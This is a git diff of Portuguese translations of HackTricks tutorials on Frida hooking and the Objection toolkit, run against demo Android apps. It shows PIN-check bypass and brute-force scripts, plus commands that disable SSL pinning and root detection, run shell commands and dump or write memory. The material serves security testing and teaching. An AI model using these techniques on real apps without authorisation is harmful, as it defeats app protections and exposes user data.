Frida permite que você **insira código JavaScript** dentro de funções de um aplicativo em execução. Mas você pode usar **python** para **chamar** os hooks e até para **interagir** com os **hooks**.
|
||||
Frida permite que você **insira código JavaScript** dentro de funções de um aplicativo em execução. Mas você pode usar **python** para **chamar** os ganchos e até mesmo **interagir** com os **ganchos**.
|
||||
|
||||
Este é um script python fácil que você pode usar com todos os exemplos propostos neste tutorial:
|
||||
Este é um script python simples que você pode usar com todos os exemplos propostos neste tutorial:
|
||||
```python
|
||||
#hooking.py
|
||||
import frida, sys
|
||||
|
@ -45,13 +45,13 @@ Chame o script:
|
|||
```bash
|
||||
python hooking.py <hookN.js>
|
||||
```
|
||||
É útil saber como usar python com frida, mas para estes exemplos você também pode chamar diretamente o Frida usando ferramentas de linha de comando frida:
|
||||
É útil saber como usar o python com o frida, mas para esses exemplos você também pode chamar diretamente o Frida usando as ferramentas de linha de comando do frida:
|
||||
```bash
|
||||
frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
|
||||
```
|
||||
## Gancho 1 - Desvio de Booleano
|
||||
## Hook 1 - Desvio Booleano
|
||||
|
||||
Aqui você pode ver como fazer **hook** em um método **booleano** (_checkPin_) da classe: _infosecadventures.fridademo.utils.PinUtil_
|
||||
Aqui você pode ver como **hookar** um método **booleano** (_checkPin_) da classe: _infosecadventures.fridademo.utils.PinUtil_
|
||||
```javascript
|
||||
//hook1.js
|
||||
Java.perform(function() {
|
||||
|
@ -67,13 +67,13 @@ return true;
|
|||
```
|
||||
python hooking.py hook1.js
|
||||
```
|
||||
Olhar: A função recebe como parâmetro uma String, não é necessário overload?
|
||||
Olhar: A função recebe uma String como parâmetro, não é necessário sobrecarregar?
|
||||
|
||||
## Hook 2 - Function Bruteforce
|
||||
## Hook 2 - Bruteforce de Função
|
||||
|
||||
### Função Não-Estática
|
||||
### Função Não Estática
|
||||
|
||||
Se você quiser chamar uma função não-estática de uma classe, você **primeiro precisa de uma instância** dessa classe. Então, você pode usar essa instância para chamar a função.\
|
||||
Se você deseja chamar uma função não estática de uma classe, **primeiro precisa de uma instância** dessa classe. Em seguida, você pode usar essa instância para chamar a função.\
|
||||
Para fazer isso, você poderia **encontrar uma instância existente** e usá-la:
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
|
@ -92,11 +92,9 @@ onComplete: function() { }
|
|||
});
|
||||
});
|
||||
```
|
||||
Neste caso, isso não está funcionando, pois não há nenhuma instância e a função é Estática
|
||||
|
||||
### Função Estática
|
||||
|
||||
Se a função for estática, você poderia simplesmente chamá-la:
|
||||
Se a função for estática, você pode simplesmente chamá-la:
|
||||
```javascript
|
||||
//hook2.js
|
||||
Java.perform(function () {
|
||||
|
@ -111,9 +109,9 @@ console.log("[ + ] Found correct PIN: " + i);
|
|||
}
|
||||
});
|
||||
```
|
||||
## Gancho 3 - Recuperando argumentos e valor de retorno
|
||||
## Hook 3 - Recuperando argumentos e valor de retorno
|
||||
|
||||
Você pode fazer um gancho em uma função e fazê-la **imprimir** o valor dos **argumentos passados** e o valor do **valor de retorno:**
|
||||
Você pode fazer um hook em uma função e fazer com que ela **imprima** o valor dos **argumentos passados** e o valor do **retorno:**
|
||||
```javascript
|
||||
//hook3.js
|
||||
Java.perform(function() {
|
||||
|
@ -131,26 +129,26 @@ return encrypted_ret;
|
|||
```
|
||||
## Importante
|
||||
|
||||
Neste tutorial, você utilizou hook em métodos usando o nome do método e _.implementation_. Mas se houvesse **mais de um método** com o mesmo nome, você precisará **especificar o método** que deseja hook **indicando o tipo dos argumentos**.
|
||||
Neste tutorial, você conectou métodos usando o nome do método e _.implementation_. Mas se houver **mais de um método** com o mesmo nome, você precisará **especificar o método** que deseja conectar **indicando o tipo dos argumentos**.
|
||||
|
||||
Você pode ver isso no [próximo tutorial](frida-tutorial-2.md).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,21 +6,21 @@
|
|||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
||||
|
||||
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 e 4)\
|
||||
**Este é um resumo do post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 e 4)\
|
||||
**APKs e Código-fonte**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
A parte 1 é muito fácil.
|
||||
|
@ -66,7 +66,7 @@ onComplete: function () { }
|
|||
});
|
||||
});
|
||||
```
|
||||
Pode-se ver que para criar uma String primeiro é feita referência à classe _java.lang.String_ e depois é criado um objeto _$new_ dessa classe com uma String como conteúdo. Esta é a forma correta de criar um novo objeto de uma classe. No entanto, neste caso, você poderia simplesmente passar para `this.fun()` qualquer String, como: `this.fun("olá!")`
|
||||
Pode-se ver que para criar uma String primeiro é feita referência à classe _java.lang.String_ e depois é criado um objeto _$new_ dessa classe com uma String como conteúdo. Esta é a forma correta de criar um novo objeto de uma classe. No entanto, neste caso, você poderia simplesmente passar para `this.fun()` qualquer String como: `this.fun("olá!")`
|
||||
|
||||
### Python
|
||||
```python
|
||||
|
@ -236,8 +236,8 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
|
|||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,38 +1,36 @@
|
|||
# Tutorial de Objection
|
||||
# Tutorial do Objection
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## **Introdução**
|
||||
|
||||
[![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection)
|
||||
|
||||
**objection - Exploração Móvel em Tempo de Execução**
|
||||
|
||||
`objection` é um kit de ferramentas para exploração móvel em tempo de execução, alimentado por [Frida](https://www.frida.re). Foi desenvolvido com o objetivo de ajudar na avaliação de aplicações móveis e sua postura de segurança sem a necessidade de um dispositivo móvel jailbroken ou com root.
|
||||
**[Objection](https://github.com/sensepost/objection)** é um kit de ferramentas de exploração móvel em tempo de execução, alimentado por [Frida](https://www.frida.re). Foi construído com o objetivo de ajudar a avaliar aplicativos móveis e sua postura de segurança sem a necessidade de um dispositivo móvel com jailbreak ou root.
|
||||
|
||||
**Nota:** Isto não é uma forma de bypass de jailbreak/root. Ao usar `objection`, você ainda está limitado por todas as restrições impostas pelo sandbox aplicável com o qual está lidando.
|
||||
**Nota:** Isso não é uma forma de bypass de jailbreak/root. Ao usar o `objection`, você ainda está limitado por todas as restrições impostas pela sandbox aplicável que está enfrentando.
|
||||
|
||||
### Resumo
|
||||
|
||||
O **objetivo** do **objection** é permitir que o usuário chame as **principais ações oferecidas pelo Frida**. **Caso contrário**, o usuário precisará criar um **script único para cada aplicativo** que deseja testar.
|
||||
O **objetivo** do **objection** é permitir que o usuário chame as **principais ações que o Frida oferece**. **Caso contrário**, o usuário precisará criar um **único script para cada aplicativo** que deseja testar.
|
||||
|
||||
## Tutorial
|
||||
|
||||
|
@ -40,7 +38,7 @@ Para este tutorial, vou usar o APK que você pode baixar aqui:
|
|||
|
||||
{% file src="../../../.gitbook/assets/app-release.zip" %}
|
||||
|
||||
Ou do seu [repositório original](https://github.com/asvid/FridaApp) (baixe o app-release.apk)
|
||||
Ou do seu [repositório original](https://github.com/asvid/FridaApp) (baixe app-release.apk)
|
||||
|
||||
### Instalação
|
||||
```bash
|
||||
|
@ -50,14 +48,14 @@ pip3 install objection
|
|||
|
||||
Faça uma **conexão ADB regular** e **inicie** o servidor **frida** no dispositivo (e verifique se o frida está funcionando tanto no cliente quanto no servidor).
|
||||
|
||||
Se você estiver usando um **dispositivo com root**, é necessário selecionar o aplicativo que deseja testar dentro da opção _**--gadget**_. Neste caso:
|
||||
Se estiver usando um **dispositivo com root**, é necessário selecionar o aplicativo que deseja testar dentro da opção _**--gadget**_. Neste caso:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### Ações Básicas
|
||||
|
||||
Nem todos os comandos possíveis do objection serão listados neste tutorial, apenas aqueles que achei mais úteis.
|
||||
Não serão listados neste tutorial todos os comandos possíveis do Objection, apenas os que considero mais úteis.
|
||||
|
||||
#### Ambiente
|
||||
|
||||
|
@ -65,18 +63,18 @@ Algumas informações interessantes (como senhas ou caminhos) podem ser encontra
|
|||
```bash
|
||||
env
|
||||
```
|
||||
#### Informações sobre Frida
|
||||
#### Informações sobre o Frida
|
||||
```bash
|
||||
frida
|
||||
```
|
||||
#### Upload/Download
|
||||
![](<../../../.gitbook/assets/image (65).png>)
|
||||
|
||||
#### Upload/Download
|
||||
```bash
|
||||
file download <remote path> [<local path>]
|
||||
file upload <local path> [<remote path>]
|
||||
```
|
||||
#### Importar script frida
|
||||
#### Importar script do frida
|
||||
```bash
|
||||
import <local path frida-script>
|
||||
```
|
||||
|
@ -89,122 +87,128 @@ android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
|
|||
android root disable #Attempts to disable root detection on Android devices.
|
||||
android root simulate #Attempts to simulate a rooted Android environment.
|
||||
```
|
||||
#### Comando Exec
|
||||
#### Comando Executar
|
||||
```bash
|
||||
android shell_exec whoami
|
||||
```
|
||||
#### Capturas de Tela
|
||||
#### Capturas de tela
|
||||
```bash
|
||||
android ui screenshot /tmp/screenshot
|
||||
android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys
|
||||
```
|
||||
### Análise estática tornada Dinâmica
|
||||
### Análise estática tornada dinâmica
|
||||
|
||||
Em um aplicativo real, devemos saber todas as informações descobertas nesta parte antes de usar objection graças à **análise estática**. De qualquer forma, talvez você possa ver **algo novo**, pois aqui você terá apenas uma lista completa de classes, métodos e objetos exportados.
|
||||
Em uma aplicação real, devemos conhecer todas as informações descobertas nesta parte antes de usar o objection graças à **análise estática**. De qualquer forma, talvez você possa ver **algo novo** aqui, pois terá apenas uma lista completa de classes, métodos e objetos exportados.
|
||||
|
||||
Isso também é útil se, de alguma forma, você estiver **incapaz de obter algum código-fonte legível** do aplicativo.
|
||||
Isso também é útil se, de alguma forma, você **não conseguir obter algum código-fonte legível** do aplicativo.
|
||||
|
||||
#### Listar atividades, receptores e serviços
|
||||
```
|
||||
```bash
|
||||
android hooking list activities
|
||||
```
|
||||
Como solicitado, o conteúdo não será traduzido, pois é uma imagem e não há texto em inglês fornecido para tradução.
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (78).png>)
|
||||
```bash
|
||||
android hooking list services
|
||||
android hooking list receivers
|
||||
```
|
||||
Frida lançará um erro se nenhum for encontrado
|
||||
|
||||
#### Obtendo a atividade atual
|
||||
```
|
||||
```bash
|
||||
android hooking get current_activity
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (73) (1).png>)
|
||||
#### Procurar Classes
|
||||
|
||||
#### Pesquisar Classes
|
||||
|
||||
Vamos começar procurando por classes dentro da nossa aplicação
|
||||
```
|
||||
Vamos começar a procurar classes dentro do nosso aplicativo
|
||||
```bash
|
||||
android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (69).png>)
|
||||
|
||||
#### Pesquisar Métodos de uma classe
|
||||
#### Métodos de Busca de uma classe
|
||||
|
||||
Agora vamos extrair os métodos dentro da classe _MainActivity:_
|
||||
```
|
||||
```bash
|
||||
android hooking search methods asvid.github.io.fridaapp MainActivity
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (70) (1).png>)
|
||||
|
||||
#### Listar Métodos Declarados de uma Classe com seus Parâmetros
|
||||
#### Listar Métodos Declarados de uma classe com seus parâmetros
|
||||
|
||||
Vamos descobrir quais parâmetros os métodos da classe necessitam:
|
||||
```
|
||||
Vamos descobrir quais parâmetros os métodos da classe precisam:
|
||||
```bash
|
||||
android hooking list class_methods asvid.github.io.fridaapp.MainActivity
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (79).png>)
|
||||
|
||||
#### Listar classes
|
||||
|
||||
Você também pode listar todas as classes que foram carregadas dentro do aplicativo atual:
|
||||
```
|
||||
Também é possível listar todas as classes que foram carregadas dentro do aplicativo atual:
|
||||
```bash
|
||||
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
|
||||
```
|
||||
Esta técnica é muito útil se você deseja **enganchar o método de uma classe e você só conhece o nome da classe**. Você poderia usar essa função para **pesquisar qual módulo possui a classe** e depois enganchar seu método.
|
||||
Este é muito útil se você quiser **interceptar o método de uma classe e só souber o nome da classe**. Você pode usar esta função para **pesquisar qual módulo possui a classe** e então interceptar seu método.
|
||||
|
||||
### Enganchar sendo fácil
|
||||
### Facilitando a intercepção
|
||||
|
||||
#### Enganchar (observar) um método
|
||||
#### Interceptar (observar) um método
|
||||
|
||||
A partir do [código-fonte](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) da aplicação, sabemos que a **função** _**sum()**_ **da** _**MainActivity**_ está sendo executada **a cada segundo**. Vamos tentar **despejar todas as informações possíveis** cada vez que a função é chamada (argumentos, valor de retorno e rastreamento de pilha):
|
||||
```
|
||||
A partir do [código-fonte](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) do aplicativo, sabemos que a **função** _**sum()**_ **de** _**MainActivity**_ está sendo executada **a cada segundo**. Vamos tentar **dumpar todas as informações possíveis** cada vez que a função é chamada (argumentos, valor de retorno e backtrace):
|
||||
```bash
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (71).png>)
|
||||
|
||||
#### Fazendo hook (monitorando) de uma classe inteira
|
||||
#### Enganchando (observando) uma classe inteira
|
||||
|
||||
Na verdade, eu acho todos os métodos da classe MainActivity muito interessantes, vamos **fazer hook de todos eles**. Tenha cuidado, isso pode **crashar** um aplicativo.
|
||||
```
|
||||
Na verdade, acho todos os métodos da classe MainActivity realmente interessantes, vamos **enganchar todos eles**. Tenha cuidado, isso poderia **causar uma falha** na aplicação.
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
Se você interagir com o aplicativo enquanto a classe estiver conectada, você verá quando **cada função é chamada**, seus **argumentos** e o **valor de retorno**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (72).png>)
|
||||
|
||||
#### Alterando o valor de retorno booleano de uma função
|
||||
|
||||
Do código-fonte, você pode ver que a função _checkPin_ recebe uma _String_ como argumento e retorna um _boolean_. Vamos fazer a função **sempre retornar verdadeiro**:
|
||||
A partir do código-fonte, você pode ver que a função _checkPin_ recebe uma _String_ como argumento e retorna um _boolean_. Vamos fazer a função **sempre retornar true**:
|
||||
|
||||
### Instâncias de classes
|
||||
![](<../../../.gitbook/assets/image (74).png>)
|
||||
|
||||
Pesquise e imprima **instâncias ativas de uma classe Java específica**, especificada por um nome de classe totalmente qualificado. Out é o resultado de uma tentativa de obter um valor de string para uma objeção descoberta que normalmente **conteria valores de propriedade para o objeto**.
|
||||
Agora, se você digitar qualquer coisa na caixa de texto para o código PIN, verá que qualquer coisa é válida:
|
||||
|
||||
![](<../../../.gitbook/assets/image (77).png>)
|
||||
|
||||
### Instâncias de classe
|
||||
|
||||
Procure e imprima **instâncias ativas de uma classe Java específica**, especificada por um nome de classe totalmente qualificado. O resultado é uma tentativa de obter um valor de string para uma objeção descoberta que normalmente **contém valores de propriedade para o objeto**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
```markdown
|
||||
![](<../../../.gitbook/assets/image (80).png>)
|
||||
|
||||
### Keystore/Intents
|
||||
### Armazenamento de chaves/Intents
|
||||
|
||||
Você pode interagir com o keystore e intents usando:
|
||||
```
|
||||
```
|
||||
Você pode brincar com o armazenamento de chaves e intents usando:
|
||||
```bash
|
||||
android keystore list
|
||||
android intents launch_activity
|
||||
android intent launch_service
|
||||
```
|
||||
### Memória
|
||||
|
||||
#### Dump
|
||||
#### Despejo
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
```
|
||||
#### Lista
|
||||
```
|
||||
```bash
|
||||
memory list modules
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (66).png>)
|
||||
|
||||
No final da lista, você pode ver o frida:
|
||||
Na parte inferior da lista, você pode ver o frida:
|
||||
|
||||
![](<../../../.gitbook/assets/image (67).png>)
|
||||
|
||||
|
@ -212,10 +216,10 @@ Vamos verificar o que o frida está exportando:
|
|||
|
||||
![](<../../../.gitbook/assets/image (68).png>)
|
||||
|
||||
#### Pesquisar/Escrever
|
||||
#### Pesquisa/Gravação
|
||||
|
||||
Você também pode pesquisar e escrever na memória com objection:
|
||||
```
|
||||
Você também pode pesquisar e escrever na memória com o objection:
|
||||
```bash
|
||||
memory search "<pattern eg: 41 41 41 ?? 41>" (--string) (--offsets-only)
|
||||
memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
|
||||
```
|
||||
|
@ -223,32 +227,32 @@ memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
|
|||
|
||||
Você pode usar o comando `sqlite` para interagir com bancos de dados sqlite.
|
||||
|
||||
### Sair
|
||||
```
|
||||
### Exit
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
## O que falta no Objection
|
||||
## O que sinto falta no Objection
|
||||
|
||||
* Os métodos de hooking às vezes fazem o aplicativo travar (isso também é por causa do Frida).
|
||||
* Os métodos de hooking às vezes travam o aplicativo (isso também é devido ao Frida).
|
||||
* Você não pode usar as instâncias das classes para chamar funções da instância. E você não pode criar novas instâncias de classes e usá-las para chamar funções.
|
||||
* Não há um atalho (como o que existe para sslpinnin) para fazer hook em todos os métodos comuns de criptografia usados pelo aplicativo para ver texto cifrado, texto plano, chaves, IVs e algoritmos usados.
|
||||
* Não há um atalho (como o de sslpinnin) para hook em todos os métodos de criptografia comuns usados pelo aplicativo para ver texto cifrado, texto simples, chaves, IVs e algoritmos usados.
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
|
||||
**Dica de recompensa por bugs**: **Inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
